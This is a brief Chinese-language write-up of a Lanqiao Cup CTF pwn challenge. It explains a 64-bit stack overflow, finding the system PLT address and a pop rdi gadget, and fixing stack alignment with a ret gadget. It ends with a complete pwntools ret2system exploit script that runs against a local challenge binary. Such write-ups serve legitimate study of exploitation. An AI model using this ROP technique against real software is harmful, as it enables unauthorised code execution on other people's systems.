今天做一题蓝桥杯的pwn题
没啥保护,64位看关键代码

看到buf存在栈溢出,又看到又system,但是没有bin/bash
这题还有一个输入info,可以通过info的输入作为system的参数
这里获得system的plt地址:0x4005D0
这里获得info的字符串的地址:0x601090
然后用命令找pop rdi地址:0X400933
构造rop链: 40垃圾字符 + pop_rdi + info地址 + system地址
结果没有出来,再分析:估计是没有满足64位程序栈对齐的规则:rsp的地址要在调用其他函数的之后是16的倍数
所以加一个ret让rsp+8,再看看对齐没有:
对齐了,有flag没找到的报错
exp:
from pwn import *
p = process('./pwn')
offset = 0x28
sys_addr = 0x4005D0
info_addr = 0x601090
pop_rdi = 0X400933
ret = 0x4005ae
payload=b'A'*offset + p64(ret) +p64(pop_rdi) + p64(info_addr) + p64(sys_addr)
p.recvuntil(b'restricted stack.')
p.sendline(b"tac flag")
p.recvuntil(b'...')
p.sendline(payload)
p.interactive()